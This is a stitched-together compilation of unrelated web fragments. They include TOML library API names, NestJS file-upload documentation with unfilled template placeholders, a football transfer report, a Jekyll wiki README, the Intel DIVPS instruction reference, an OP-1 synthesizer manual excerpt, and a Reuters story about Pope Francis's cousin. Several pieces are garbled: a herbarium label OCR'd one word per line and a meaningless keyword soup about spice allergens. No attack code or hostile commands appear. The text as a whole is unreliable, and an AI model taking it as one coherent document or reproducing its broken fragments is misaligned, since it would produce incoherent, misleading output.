TomlFloat
TomlIgnoreAttribute
TomlInt
TomlLocalDate
TomlLocalDateTime
TomlLocalTime
TomlMember
TomlObject
TomlObjectFactory
TomlObjectFactory.RequireTomlObject<T>
TomlObjectFactory.Result<T>
Result object of a factory operation. Foundation for the fluent API that allows to construct complex object Graphs via TomlObjectFactory methods.
TomlOffsetDateTime
TomlSettings
TomlString
TomlTable
TomlTableArray
TomlTableToTypedDictionaryConverter
TomlValue
TomlValue<T>
TreatAsInlineTableAttribute
Structs
InputComments
Struct representing the input data for a custom comment combiner operation.
Interfaces
ICommentOperationOrRowSelector
Builder interface to select how comments should be handled or what rows should get processed by the combine operation.
IConversionSettingsBuilder<TCustom, TToml>
IKeyGenerator
IRowSelector
Builder interface to select the rows the combine operation will process.
ISourceSelector
Builder interface to select the source table for a table combine operation.
ITableCombiner
Interface representing a built TOML table combine operation.
ITargetPropertySelector
ITargetSelector
Builder interface to select the target table for a table combine operation.


Searching for a future home has never been easier!
Mission Statement:
We’re seeking to build a user interface that helps young professionals narrow down possible neighborhoods that they can call home and build a career at - based on preferences that are unique to them.
You might know which city you will soon call home, but what about the neighborhood you'll live in? Beyond common considerations like rent and commute, many young professionals care about specific factors that defined their college experience and their personalities. We will be integrating real-time data collected by city governments, as opposed to relying on comment sections of blogs and websites recommended by others. For this project, we’ll focus on New York City, specifically the borough of Brooklyn - one of the most sought after boroughs for new grads.
Massachusetts Institute of Technology
Kelly Craig
Sloan School of Management - Finance
Class of 2020
Stephanie Baez
School of Engineering - Civil & Environmental Engineering
Class of 2022


In order to handle file uploading, Nest makes use of multer middleware. This middleware is fully configurable and you can adjust its behavior to your application requirements.
Multer is middleware for handling multipart/form-data
, which is primarily used for uploading files.
Warning Multer will not process any form which is not multipart (multipart/form-data
). Besides, this package won't work with theFastifyAdapter
.
When we want to upload a single file, we simply tie FileInterceptor()
to the handler, and then, pull outs
file
from the request
using @UploadedFile()
decorator.
{{ singleFile }}
{{ singleFileJs }}
Hint BothFileInterceptor()
and@UploadedFile()
decorator are exposed from@nestjs/common
package.
The FileInterceptor()
takes two arguments, a fieldName
(points to field from HTML form that
holds a file) and optional options
object. These MulterOptions
are equivalent to those passed
into multer constructor (more details here)
In order to upload an array of files, we use FilesInterceptor()
. This interceptor takes three arguments.
A fieldName
(that remains the same), maxCount
which is a maximum number of files that can be
uploaded at the same time, and optional MulterOptions
object. Additionally, to pick files from request
object,
we use @UploadedFiles()
decorator
{{ multipleFiles }}
{{ multipleFilesJs }}
Hint BothFilesInterceptor()
and@UploadedFiles()
decorator are exposed from@nestjs/common
package.
To upload multiple fields (all with different keys), we use FileFieldsInterceptor()
decorator.
{{ fileFields }}
{{ fileFieldsJs }}
To customize multer behavior, you can register the MulterModule
.
We support all options listed here.
{{ multerModule }}
Quite often you might want to asynchronously pass your module options instead of passing them beforehand. In such case, use
registerAsync()
method, that provides a couple of various ways to deal with async data.
First possible approach is to use a factory function:
{{ asyncConfiguration }}
Obviously, our factory behaves like every other one (might be async
and is able to inject dependencies through
inject
).
{{ asyncConfigurationFactoryAsync }}
Alternatively, you are able to use class instead of a factory.
{{ asyncConfigurationClass }}
Above construction will instantiate MulterConfigService
inside MulterModule
and will leverage
it to create options object. The MulterConfigService
has to implement MulterOptionsFactory
interface.
{{ asyncConfigurationClassBody }}
In order to prevent the creation of MulterConfigService
inside MulterModule
and use a provider
imported from a different module, you can use the useExisting
syntax.
{{ asyncConfigurationExisting }}
It works the same as useClass
with one critical difference - MulterModule
will lookup imported
modules to reuse already created ConfigService
, instead of instantiating it on its own.


This Keyboard is now more flexible. More easy and user friendly!
How to use this Keyboard please see "Guideline" PDF file. This is the natural and the most powerful Keyboard of the Chakma Community and others people who are interested and love the Chakma language.
ENJOY CHAKMA LANGUAGE OFFLINE AND ONLINE!


 Enter your email address below, and we'll email instructions for setting a new one." %}
{% trans 'Email address:' %} {{ form.email }}


Home
About Us
Contact
Dear Diaries...
Think IT!
Plan IT!
Do IT!
Monthly Planners .
Starting @ 999 only.(Extra Charges for customised planners).
Attached :
Post-Its.
Doodle stickers.
Bookmarks(Qty. 2)
and
more
Check out similar products
here
You THINK,
You WRITE.
Prism Slim Diary .
Starting @599 only.
Categories:
Hard-bound.
Wire-bound.
Leather cover.
With external Lock and Key.
Check out similar products
here
Your THOUGHTS,
Are PRECIOUS!.
Wire-bound Diaries .
Starting @ 399 only.
Customised Products start @1000.
Check out more products
here
BELIEVE
IN
YOURSELF!! .
More Products will be available soon !
Pre-Book Yours now!! Click
here


Request.HTML is a subclass of Request built for making XHR requests which return HTML content.
Get HTML


Zip Code Error
×
This is not a valid zip code. Please re-enter it correctly.
urBrew
Abreviations Beer Drinkers Should Know
Favorite Beers
What type of beer do you like?
We will try to match you with some beer you may enjoy.
Beer Me!
Previous
Next
Find a local brewery!
I like beer.
×
Favorited Beers
×
Beer Name
Likes


?1
The
New
York
copyright
reserved
botanical
Garden
PLANTS
OF
ORIENTE
PROVINCE,
CUBA
COLLECTED
FOR
THE
BOTANICAL
GARDENS
AND
THE
HERBARIUM
OP
THE
UNIVERSITY
OP
MICHIGAN
Eus
toma
exaitatum
(L.)
G
ri
8
eh
Eustoma
exaltatum
(L.)
G.
Don
net.-rev.
M.Thiv(B)
2001
GUANTANAMO
REGION:
near
mouth,
of
Rio
Yateras,
east
of
U.S.
Naval
Base.
Leaves
fleshy,
glaucous.
Corolla
dark
lavender
in
center,
with
pale
margin;
stigma
yellow
28
July
1951
{few
BOTANICAL
1624568
Legend -
Level of confidence that token is an accurately-transcribed word
extremely low
very low
low
undetermined
medium
high
very high


{{ template "_internal/twitter_cards.html" . }} {{ template "_internal/opengraph.html" . }} {{ template "_internal/schema.html" . }} {{ template "_internal/google_news.html" . }}
Aw Nuts!
It looks like you're in the wrong place.
Let's go home.


Do you need more information? Please contact us to find more about our products and services
First name
Last name
Email address
Your message
Send Message


Aston Villa in the race to sign Argentina international in January window- reports
Aston Villa transfer news | With just over a month until the January window opens, rumours linking a number of players with a move to B6 are beginning to surface
by Ben Husband, https://www.birminghammail.co.uk/authors/ben-husband/Aston Villa are one of three Premier League clubs battling over the signing of free-agent Nicolas Gaitan, according to reports.
The 31-year-old will be available on a free transfer in January, with his contract expiring at MLS club Chicago Fire in December.
Gaitan has enjoyed a good spell in the States, netting four times and creating 11 more. A run of form that has reportedly turned heads of suitors in England’s top flight.
According to the Guardian, Villa, West Ham and Sheffield United are all keen on the former Benfica winger.
Villa signed three wingers in the summer, with Trezeguet, Jota and El Ghazi all arriving. However, a combination of injuries and inconsistent form mean that Dean Smith could be keen to add further reinforcements.
Aston Villa latest
This is your round up of all things Villa; the one-stop shop that will keep you updated on the latest goings on at the club and beyond.
Transfers, injuries, match-days and managers, we’ve got you covered.
We’ll be bringing the very latest on the Villains throughout the week and around the clock.
Make sure you keep yourself updated with our handy daily catch up...
Must reads...
- Director reveals John McGinn's reaction to failed transfer
- Martin Keown fires puzzling criticism at Tyrone Mings
- What Jarrad Branthwaite has said about Villa interest
- Dean Smith urged to have a 'quiet word' with Frederic Guilbert
For all your latest AVFC news, opinion, analysis and transfer gossip, click here
You can follow our Villa reporter Ashley Preece on Twitter, and his email address is<EMAIL_ADDRESS>The report suggests that West Ham’s January priority is to shore up their shaky defence, meaning the door could be left open for Villa to swoop.
Dean Smith has hinted that Villa could look at signing a forward in the upcoming window and that he is always open to improving the squad.
"I'm always open to additions to better the squad. They've got to be better than what you've got. A conversation myself, Christian (Purslow) and (sporting director) Suso have had when we're looking at additions is they've got to be better than what we've already got.
"We're continuing to do that (improving players), that's the ethos of the club, players wanting to learn and get better. We're working daily to help them improve and I'm seeing improvement individually and the team as a whole.”


Why ?
I wrote this template in 2019 because I wanted to migrate a mediawiki-powered wiki to jekyll.
The template has a layout and a navigation that can replace my old wiki.
How to
If you want to use this template, clone the repository, customize it and write wiki pages.
Settings
The general settings are in the _config.yml file.
You may choose the language. English (en) and french (fr) are supported out-of-the box.
lang: en
You may customize the collections. The only contraint is that the name of collections containing wiki pages should start with wiki.
collections:
wiki-one:
output: true
permalink: "/:path"
path: ""
wiki-two:
output: true
permalink: "/:path"
path: ""
special:
output: true
permalink: "/:path"
path: ""
Of course, you’ll have to change the other site settings like title, description or url.
i18n
The labels are in i18n files in the _data/i18n
directory.
These files contain also prefixes for special pages, the name of home page and the logo that will be displayed on the top left.
home: Main
logo: /img/wiki.png
label:
author: Author
links: Links
tags: Other pages
...
prefix:
tag: "Category:"
user: "User:"
Users
The users are declared in the _data/users.yml file.
Alexis:
name: Alexis Hassler
logo: img/sewatech.png
Each user should have its page in the _special
directory.
The name of this page starts with the prefix defined in the i18n file (here User:
)
and end with the user short name (here Alexis
).
Wiki pages
Wiki pages are in collections that name starts with wiki.
The bootstrap project provides 2 collections : wiki
and wiki-legacy
.
The pages can be written in HTML, Markdown or Asciidoc.
Note: Asciidoc is not supported on Github pages.
 The only required metadata in frontmatter is the layout. The simplest page may be something like this:
---
layout: wiki
---
Example with minimal frontmatter
The frontmatter may contain the following attributes:
- title: will be displayed on top of the page
- author: will be displayed in a div in the left columns
- toc: true/false wether you want a generated table of content
- created and modified: date in format yyyy-MM-dd
- revisions: not displayed (maybe for a future use)
Note: the toc plugin doesn’t work on Github pages
Redirect page
A redirect page should be place in the special collection. It should have a frontmatter with a layout and a redirect, and no content
---
layout: redirect
redirect: New
---
Note: redirections may be managed in an other way with the jekyll-redirect-from plugin
Tag page
A tag page should be place in a special collection. The file name should have the prefix defined in the i18n file and end with the tag name.
For example, a file named Tag:Example.md
would fit with the following i18n configuration.
prefix:
tag: "Tag:"
Note: this is in the i18n files because mediawiki translates this prefix ; it is Category in english and Catégorie in french
The tag page may have the same metadata as a regular page.
---
layout: tag
title: Example of Tag
tags: Example
toc: false
created: 2019-04-12
modified: 2019-04-12
revisions:
- author: Alexis
date: 2019-04-12
comment: First version
---
## Example Tag
Nice examples
User pages
A user page should be place in a special collection. The file name should have the prefix defined in the i18n file and end with the user name.
For example, a file named User:Example.md
would fit with the following i18n configuration.
prefix:
user: "User:"
Note: this is in the i18n files because mediawiki translates this prefix ; it is User in english and Utilisateur in french
The user page may have the same metadata as a regular page.
---
layout: user
title: Alexis
created: 2019-04-12
modified: 2019-04-12
---
I'm a developer.
Deploy
The simplest way to deploy your wiki is to generate the site and copy it to a Web Server.
jekyll build
As any Jekyll web site, the generation may be done on a CI server (TravisCI,…) or with the CI capabilities of the Git server (Gitlab, Github actions,…).
Apache HTTP server
A .htaccess
file is provided.
If the site is deployed on a Apache HTTP server, some old mediawiki URLs are rewritten to the new Jekyll URLs.
Github pages
The wiki cannot be deloyed simply on Github pages because of unsupported filters and custom plugins.
If you want to deploy it on Github pages, you should push the generated site. Any CI tool can help.
Gitlab pages / CI
If your source code is hosted on Gitlab, you can deploy the wiki on Gitlab page. The .gitlab-ci.yml provides a generic setup for that. When you push on Gitlab, the file is be detected and a pipeline is run. The wiki is then deployed on pages.
Note: the deployment may occur several minutes after the end of the build.
With the provided configuration, Gitlab CI may also upload the site with SFTP.
Reference:
Github actions
[TBD]
TravisCI
Travis CI can launch automatically the jekyll build and deploy the site.
The examples and this page are built this way.
The repository provides a .travis.yml
configuration file wich deploy the built site on Github Pages.
If want to use it, just change the repo
and setup your build on Travis CI with the GITHUB_TOKEN environment variable.
With the provided configuration, Travis CI may also upload the site with SFTP.
References:
Examples
- Example of a new page
- Example of a legacy page
- Example of a redirected page
- Example of a user page
- RSS feed of new pages
- Example of a tag page
- All tags page


| 411 | (A) | waspasyane in stele wede and his wyes ałłe |
| 413 | (C) | ¶ Vaspasiane y-armed & his meyne alle |
| 413 | (D) | vaspaȝian in stele wede & his wightis alle |
| 409 | (E) | ¶ waspasyan in steel wede . & hys knythes keene |
| (Ex) | ---- no text ---- | |
| 426 | (L) | waspasial in stele wede & his wyes alle |
| 394 | (P) | waspasian in stele wede & his wyes ałł |
| 407 | (U) | ¶ Vespasian in stele wede / and his wyes alle |
| (V) | ---- no text ---- |


| Opcode/Instruction | Op/En | 64/32-bit Mode | CPUID Feature Flag | Description |
| 0F 5E /r DIVPS xmm1, xmm2/m128 | RM | V/V | SSE | Divide packed single-precision floating-point values in xmm1 by packed single-precision floating-point values xmm2/m128. |
| VEX.NDS.128.0F.WIG 5E /r VDIVPS xmm1, xmm2, xmm3/m128 | RVM | V/V | AVX | Divide packed single-precision floating-point values in xmm2 by packed double-precision floating-point values in xmm3/mem. |
| VEX.NDS.256.0F.WIG 5E /r VDIVPS ymm1, ymm2, ymm3/m256 | RVM | V/V | AVX | Divide packed single-precision floating-point values in ymm2 by packed double-precision floating-point values in ymm3/mem. |
| Op/En | Operand 1 | Operand 2 | Operand 3 | Operand 4 |
| RM | ModRM:reg (r, w) | ModRM:r/m (r) | NA | NA |
| RVM | ModRM:reg (w) | VEX.vvvv (r) | ModRM:r/m (r) | NA |
Performs an SIMD divide of the four or eight packed single-precision floating-point values in the first source operand by the four or eight packed single-precision floating-point values in the second source operand. See Chapter 10 in the Intel® 64 and IA-32 Architectures Software Developer’s Manual, Volume 1, for an overview of a SIMD single-precision floating-point operation.
In 64-bit mode, use of the REX.R prefix permits this instruction to access additional registers (XMM8-XMM15). 128-bit Legacy SSE version: The second source can be an XMM register or an 128-bit memory location. The destination is not distinct from the first source XMM register and the upper bits (VLMAX-1:128) of the corresponding YMM register destination are unmodified. VEX.128 encoded version: the first source operand is an XMM register or 128-bit memory location. The destination operand is an XMM register. The upper bits (VLMAX-1:128) of the corresponding YMM register destination are zeroed. VEX.256 encoded version: The first source operand is a YMM register. The second source operand can be a YMM register or a 256-bit memory location. The destination operand is a YMM register.
DIVPS (128-bit Legacy SSE version) DEST[31:0] ← SRC1[31:0] / SRC2[31:0] DEST[63:32] ← SRC1[63:32] / SRC2[63:32] DEST[95:64] ← SRC1[95:64] / SRC2[95:64] DEST[127:96] ← SRC1[127:96] / SRC2[127:96] DEST[VLMAX-1:128] (Unmodified) VDIVPS (VEX.128 encoded version) DEST[31:0] ← SRC1[31:0] / SRC2[31:0] DEST[63:32] ← SRC1[63:32] / SRC2[63:32] DEST[95:64] ← SRC1[95:64] / SRC2[95:64] DEST[127:96] ← SRC1[127:96] / SRC2[127:96] DEST[VLMAX-1:128] ← 0 VDIVPS (VEX.256 encoded version) DEST[31:0] ← SRC1[31:0] / SRC2[31:0] DEST[63:32] ← SRC1[63:32] / SRC2[63:32] DEST[95:64] ← SRC1[95:64] / SRC2[95:64] DEST[127:96] ← SRC1[127:96] / SRC2[127:96] DEST[159:128] ← SRC1[159:128] / SRC2[159:128] DEST[191:160]← SRC1[191:160] / SRC2[191:160] DEST[223:192] ← SRC1[223:192] / SRC2[223:192] DEST[255:224] ← SRC1[255:224] / SRC2[255:224].
| DIVPS: | __m128 _mm_div_ps(__m128 a, __m128 b) |
| VDIVPS: | __m256 _mm256_div_ps (__m256 a, __m256 b); |
Overflow, Underflow, Invalid, Divide-by-Zero, Precision, Denormal.
See Exceptions Type 2.


--- layout: default ---
Current SDN controllers have been designed based on a monolithic architecture that aggregates all control plane subsystems into a single, huge monolithic program. DNOS is an ONOS application that allows us to disaggregate the control plane services and applications into a set of cooperative microservices and migrate from a monolithic to a microservice architecture.
One of the main advantages of DNOS arises from its ability to scale a given service or application horizontally, independent of other subsystems and services.
DONS provides the opportunity to the programmers to choose an arbitrary programming language, programming technology, and third-party library function when building an SDN management application
DNOS gives this flexiblity to the programmers to maintain each services and each applications in a separate codebase, isolating changes.


mystate.removeLeaveNotice(listener)
listener Listener object registered to receive leave notices.
Nothing
This is a new method of FStEng v1.5. It removes the listener from the list of those notified when the state is deactived.


Simply enable MathJax when initialising the guide by setting mathjax = TRUE
, then use MathJax as you normally would, with helpText
.
library(shiny)
library(cicerone)
guide <- Cicerone$
new(mathjax = TRUE)$ # enable MathJax
step(
el = "text_inputId",
title = helpText('Dynamic output 1: $$\\alpha^2$$'),
description = "This is where you enter the text you want to print."
)$
step(
"submit_inputId",
helpText('The busy Cauchy distribution
$$\\frac{1}{\\pi\\gamma\\,\\left[1 +
\\left(\\frac{x-x_0}{\\gamma}\\right)^2\\right]}\\!$$'),
helpText('You do not see me initially: $$e^{i \\pi} + 1 = 0$$')
)
Make sure you place withMathJax
in the UI of the application, this imports the necessary dependencies.
ui <- fluidPage(
withMathJax(), # include MathJax
use_cicerone(),
textInput("text_inputId", "Enter some text"),
actionButton("submit_inputId", "Submit text"),
verbatimTextOutput("print")
)
server <- function(input, output){
guide$init()$start()
txt <- eventReactive(input$submit_inputId, {
input$text_inputId
})
output$print <- renderPrint(txt())
}
shinyApp(ui, server)


Pope Francis to reunite with cousin on visit to Thailand
by Patpicha TanakasempipatUDON THANI — In a remote Catholic school in Thailand, Sister Ana Rosa Sivori, 77, kneels in a chapel to pray at the beginning of the school day.
The Catholic nun is also counting down the days when she will be reunited with her cousin, Pope Francis.
Or, as she calls him, Jorge. They grew up together in Argentina.
Sister Sivori, who has lived in Thailand for more than 50 years, will travel with Pope Francis as his personal translator when he visits the Southeast Asian nation from Wednesday to Saturday.
“For me, it’s a pleasure that he’s coming … I never thought that he will be coming to Thailand,” the soft-spoken nun told Reuters in an interview.
“I’m happy for the people. I want the people to see him, to be close to him.”
The cousins, whose grandfathers were brothers, grew up in a big Catholic family in Argentina.
Sivori said they weren’t close as children, since Jorge Mario Bergoglio – as the Pope was known then – was six years older than she.
She joined the Catholic ministry young, and her calling as a missionary brought her to Thailand, where she has lived since 1966 and worked in schools across the country.
Now, she is a vice principal at St. Mary’s School in the northeastern province of Udon Thani, about 600 km (370 miles) from Bangkok, the capital.
The cousins have grown closer since Bergoglio became Pope Francis in 2013.
On every journey home to her family in Argentina, Sivori first stops by the Vatican in Italy to see him for a few days.
The last time they saw each other was in 2018, when they bonded over their love of books.
“He took me up to the big room with plenty of books. He told me to choose, he would ask ‘Do you want this one?’,” she said.
“When we talk, we feel like brother and sister. For me, of course I know that he’s the Pope … but we talk simply.”
She will travel to Bangkok ahead of the pontiff’s arrival and shadow him during his visit, at his request.
In the Buddhist-majority country, Pope Francis will meet King Maha Vajiralongkorn, the supreme Buddhist patriarch, Catholic leaders and students, before flying on to Japan.
Sivori brings out an envelope of handwritten letters and postcards from the Vatican and reads them fondly.
“When I meet him, I’ll call him by his name, Jorge. Pope Francis just came after,” she said.
“I’m proud of him.” (Reporting by Patpicha Tanakasempipat; Editing by Robert Birsel and Clarence Fernandez)


From digital marketing and newsletter design to logo rebranding and beyond.
What I OfferYour well-designed and maintained website will make customers have a high-quality, memorable user experience
Reach your audience through traditional and social media marketing, including newsletters, emails blasts, and targeted adverts
Excellent copy will yield clear messaging, high conversion rates and an engaged customer base
Create a professional personal logo, and align your brand with the visual design of your organization


Synthersizer mode
OP-1 has several original synthesizer engines. each one has its own personality. when in synthesizer mode, the synthesizer engine’s visual is always located under T1 and is also the first screen that will show up when you change or select a sound.
each sound is built up from four modules located under the T1, T2, T3 and T4 keys, lined up under the display.
note: the T1-T4 are soft keys, which means that in synthesizer and drum mode they function as described here. in tape mode they
are track keys T1-T4 and in mixer mode they are mixer (T1), EQ (T2), master effect (T3) and master out / drive (T4).
to enter synthesizer mode, press the key with the blue wave symbol on it. this enables both T1-T4 and sound selection keys 1-8.
when you have pressed the synthesizer key, first select a sound from 1-8 with the sound keys 1-8.
then use T1-T4 keys to shape the sound:
- T1 – synthesizer engine
- T2 – envelope
- T3 – effect
- T4 – LFO/G-force
here follows a description of how a sound is built up. for an in-depth description of all individual synthesizer engines, the envelope, effects and LFO, please refer to the reference chapter.
synthesizer engines
the first module of a sound is its engine. this is the heart of the sound and is the most important part.
it is possible to change an engine of a sound but keep the envelope, the effect and the LFO or g-force setting.
to do this, first
select the sound you want to change. then use the T1 to T4 keys to select a specific module.
to change the engine press shift + T1. this opens the browser screen, with a list of possible engine choices.
- FM – frequency modulation synthesis made easy. this is the type of engine that is found in the classic DX7 synthesizer.
- cluster – up to six oscillators chained in a cluster.
- dr wave – raw 8-bit style engine.
- digital – pure digital raw engine.
- string – physical modeling of a string instrument.
- pulse – square wave engine.
- phase – phase distortion type engine.
- dsynth – dual oscillator.
- voltage – multi oscillator electric synthesis.
use the blue encoder to scroll through the list and press T1 when your choice is highlighted to exit.
more details on the different synthesizer engines and their parameters are available in the reference chapter
.
envelope
to shape the envelope, press the T2 key. the envelope controls the amplification of a sound and is triggered when a note is played.
you can control the attack, decay, sustain and release. this is called an ADSR envelope.
use the four color encoders to shape the envelope.
- blue – attack
- green – decay
- white – sustain
- orange – release
this will be indicated by a color change in the graphical interface as soon as an encoder is turned.
play mode
to enter play mode hold shift while you are in the envelope screen which is located under the T2 key.
in play mode, you can select if you want your sound to be polyphonic, monophonic, legato or unison.
in play mode, you also have
the portamento parameter setting.
synthesizer effect
to add an effect to a sound, press the T3 key.
you may toggle an effect on and off by pressing the T3 key a second time.
to change effect, press
shift + T3. this enters the effect browser screen. use the blue encoder to scroll through the list and press T3 to make your selection.
synthesizer LFO
the LFO lets you modulate any synthesizer engine, envelope or effect parameter.
to add an LFO to a sound, press the T4 key. you may toggle an LFO on and off by pressing the T4 key a second time.
to change LFO, press
shift + T4. this opens a browser screen, with the list of possible LFOs.
- bend – lets you use the bender accessory.
- crank – lets you use the crank accessory.
- element – lets you use external elements like the built in microphone, line in, g-force sensor or FM radio to modulate a sound. select the element, amount, destination and the destination parameter.
- MIDI – route external MIDI CC to the OP-1.
- random – randomize all parameters in a module. set the speed, amount, LFO envelope and destination
- tremolo – lets you create different types of vibrato effects to your sound by modulating the pitch and volume. set speed, pitch amount, volume amount, LFO envelope curve and modulation waveform. the envelope curve applies an attack or decay
curve to the speed of the LFO.
- value – use this classic LFO type to change one parameter only. set amount, speed, destination and parameter.
note: turn the encoders all the way for all options under, for example, destination. the encoders click when turned, which doesn’t equal changing a value. sometimes you need to turn a couple of clicks to change a value.
example: element LFO.
as described earlier the element LFO uses different external elements to control any parameter of a synth engine, envelope or effect. use the blue encoder to select your source.
the source options are:
- g-force accelerometer
- mic / line / radio
- synth envelope
- synth level
g-force allows you to affect a parameter by physically tilting OP-1. basically shake your sound. when selecting option mic/line/radio, you need to select the input source. press shift + input key to select input and to adjust the gain. if radio is selected
here you may tune in to a radio station for satisfactory results.
for more information about LFOs please refer to the LFO reference section
of this manual.
changing sound
consider sound selection keys 1-8 as your instant access keys. to change any of the sound 1-8 presets, press shift + any key from 1 to 8 and a list of all available sound presets is shown. select a preset by turning the blue encoder for engine type and
green encoder for preset choices.
note: the difference between changing just a synthesizer engine (shift + T1) and a sound (shift + 1-8) is that the later changes all four T1- T4 settings.
5.8 saving a sound
option 1: save sound 1-8 – tweak your sound on any of the sound slots from 1-8. hold the corresponding sound key for five seconds. a file will be stored in the 'snapshot' folder, named based on the internal date and time.
also, sounds 1-8
are located in the 'user' folder located inside the synth and drum folders.
via usb, you may drag the sound you want to your desktop and rename it, or rename the sound inside the folder. keep in mind that you may use names with a maximum of ten characters. avoid uncommon symbols.
pro-tip: you may create your own
folder and place it in either synth or drum folder to organize your files
option 2: dump to tape – use the lift key while in synthesizer or drum mode. then switch to tape, locate empty space on the tape and press the drop key. the sound will now be converted to sound-data. to recall a sound that was dumped to tape, press lift,
switch to synthesizer or drum and press drop.
caution: the sound data is very loud so make sure to protect your ears.
sound file structure
the OP-1‘s storage allows you to add files for use for synth and drum sounds.
it also lets you collect those files you have recorded in tape and album for use elsewhere. you may also manage your own presets, those which you have made in
synth and saved. these are stored in the 'snapshot' folders for synth and drum presets respectively, and default to a name containing their date of creation. feel free to rename these, limiting the name to ten common characters.
when you connect your
OP-1 to your computer and press shift + com key and select disk mode the OP-1 shows up on your desktop.
double click the disk icon to reveal the internal OP-1 files. all sounds, the two album recordings, the four tape tracks, as well as snapshots show up as .aif files.
note: sound presets use a special OP-1 version of the .aif format, which includes both a sound preview and synthesizer data. in other words, the OP-1 synthesizer engines are not sample based but modeled sounds.


dust exposure spice Allergy spices allergic particles occupational allergen {border-style px;} respiratory #ffffff;} potential Immunol. Occupational allergens allergy activation associated protein Figure TRPV processing response Int. airborne asthma sensitization workers Clin. Health Spice Spices based food health particulate proteins Asthma Biol. Environ. Sci. capsaicin contact different like px; study symptoms {font-family binding collab: control font-size mg/m observed receptor review size tend Ann. Assessment European Exposure IgE Kim Res. USA Van channels class concentration double; immune lung measures patients present reaction reactions rhinitis suspended various ./j.-...x Chem. Curr. Fra However, Jeebhay M.A. M.F. Med. Occup. Safety analysis border-color border-width case cause cells combustible conservation cross-reactivity enables epitopes evident increase induce inhalation inhaled levels matter mechanism molecular properties reported risk role sampling solid; standards tends transient {font-style {font-weight ./jbc.M. Acta Bet Contact Cross-reactivity Dermat. Environmental Food International Lee M.G. Matter National Organization Particulate Public Research Technol. Thus, [], airway assessment bind birch bold categorized channel conditions cough courier; dermatitis em; family flow ground high human indicated induced induces level mediated origin, overall particle pathogenesis-related personal presence pt;} recognized respirable response. results similar skin specific studies syndrome thoracic type vanilloid


There will be two programming projects and four written homework assignments.
| Topic | Assigned | Due | Other Info | Solutions |
|---|---|---|---|---|
| Theory 1: Congestion, Queueing, Dynamics, BGP | 01/29/2007 | 02/07/2007 | Solutions | |
| Tools of the Trade 1: Simulation with ns-2 and Routing Table Analysis | 02/14/2007 | 03/05/2007 | Solutions | |
| Theory 2: DNS, DHTs, Multihoming, and Ad-Hoc Wireless Networks | 03/26/2007 | 04/04/2007 | Solutions | |
| Tools of the Trade 2: Network measurement with scriptroute and ruby | 04/09/2007 | 04/18/2007 |
All homework is to be done individually.
Last updated: 2019-07-18 02:06:52 +0800 [validate xhtml]


Deliberately Design
Empower the user to quickly accomplish goals by implementing an interface that is
light, responsive, and focused on primary tasks. Make sure every element is there
for a reason. Deliberately use clean typography and simple animations to keep the
work flow fluid, giving the user a perception of performance and synergy.
-
Clean Design – Appropriate white space to place focus on the subject
-
Liberated Layout – Thin lines and white space to break up the layout, not to
create containers
-
Smart Iconography – Designed to scale and used sparingly to enhance usability
-
Layered Features – Less relevant features are accessible but not in the way
Make It Human
Move beyond the ‘usable’ interface to a more intuitive, human interface; one
designed to naturally flow with the user’s tendencies and that has the user’s needs
as the primary focus. Communicate openly and humanly to engage and inform the
user. Make our users the heroes by providing a product tailored to their needs and
goals. Our products don’t do amazing things; our users do amazing things with our
products
-
Systematic Flow – Organized by importance of tasks and user expectations
-
Friendly Voice – Communicated as if the user is a respected colleague or friend
-
Intuitive Interface – Make it easy to understand, easy to access, easy to use
-
User Affinity – Know our users; every decision we make should be made with
our users in mind
Focus On Craftsmanship
Create a product that you would want to use, your excitement and pride will shine
through. Inspire confidence and comfort in the user by keeping the product voice,
interface, and processes consistent. Present innovative ways to accomplish the
user’s tasks. By doing so, you show commitment to the user and their needs.
-
Impeccable Detail – Attention to detail projects quality and professionalism
-
Consistent Experience – Use familiar UI patterns, tools, and concepts as well
as conventions and architecture across the portfolio
-
Responsive Framework – Beautiful design and functionality persists across all
OS and platforms
-
Innovative Solutions – Imagine new and creative solutions and bring them to
the table, never stop innovating


File listing made easy¶
PyDrive handles paginations and parses response as list of GoogleDriveFile.
Get all files which matches the query¶
Create GoogleDriveFileList instance with parameters of Files.list() as dict
. Call GetList() and you will get all files that matches your query as a list of GoogleDriveFile.
from pydrive.drive import GoogleDrive
drive = GoogleDrive(gauth) # Create GoogleDrive instance with authenticated GoogleAuth instance
# Auto-iterate through all files in the root folder.
file_list = drive.ListFile({'q': "'root' in parents and trashed=false"}).GetList()
for file1 in file_list:
print('title: %s, id: %s' % (file1['title'], file1['id']))
You can update metadata or content of these GoogleDriveFile instances if you need it.
Paginate and iterate through files¶
PyDrive provides Pythonic way of paginating and iterating through list of files. All you have to do is to limit number of results with maxResults
parameter and build for
loop retrieving file list from API each iteration.
Sample code continues from above:
# Paginate file lists by specifying number of max results
for file_list in drive.ListFile({'q': 'trashed=true', 'maxResults': 10}):
print('Received %s files from Files.list()' % len(file_list)) # <= 10
for file1 in file_list:
print('title: %s, id: %s' % (file1['title'], file1['id']))


Last Updated: The 23rd of January 2018
Career Buddy: Estaban Martinez
I create value professionally by using needs analysis
I expect to earn between $36K and $48K as a devloper or $60K and $72K as an IT PM
As a financial services professional, my on-line and social media presence was very limited due to compliance, regulation, and solicitation requirements. I have very little on-line presence other than LinkedIn and the data assoicated with my business, licenses, and registrations. A google search will show lots of Peter Streets, especially on facebook, but none of the individuals is me.
TBD% Auditory
TBD% Tactile
TBD% Visual
Created a process improvement that consolidated voice and data traffic that reduced telco expenses which saved over a million dollars a year.
Implemented a hardware migration process that reduced implementation time by 75%
Created an automated programming solution that increased implementation success from 3 Sigma to 6 Sigma.
Provided client solutions based on needs analysis
Built a motivated team that successfully implemented projects on time and budget
Ensured all stakeholders received project updates based on their communication methodology, frequency, and level of detail wants
Why – To engage with a diverse group of like-minded individuals collaborative creating communications and technology solutions How – Coding, Tech Capacity, Open Networks What – Building Community Engagement via Technology
Hello I am Peter Street. I have extensive experience with software and hardware development, implementation, and optimization using formal project management and Lean Six Sigma processes. Do you need a collaborative professional team member with these skills to bring value to your company?
Week 0, the first week of class was tough for me. I was very ill and just able to keep up with the minimum requirments. I did get to the doctor on the long weekend and was feeling a lot better in Week 1. Fortunatly, I have a bit of database and SQL experience so I was able to catch up. I find reading program documents, watching screencasts, and parsing on-line code examples in the evenings and on the weekends very helpful.


Park Place
$405.00 of $1350.00 for 2 bedrooms
2932 Street St.
San Francisco, CA 94110
Marvin Gardens
$405.00 of $1350.00 for 2 bedrooms
4324 Ranch Rd.
San Francisco, CA 94110
St. James Place
$405.00 of $1350.00 for 2 bedrooms
117 James St.
San Francisco, CA 94110
Connecticut Ave.
$405.00 of $1350.00 for 2 bedrooms
2120 Ranchero Rd.
San Francisco, CA 94110

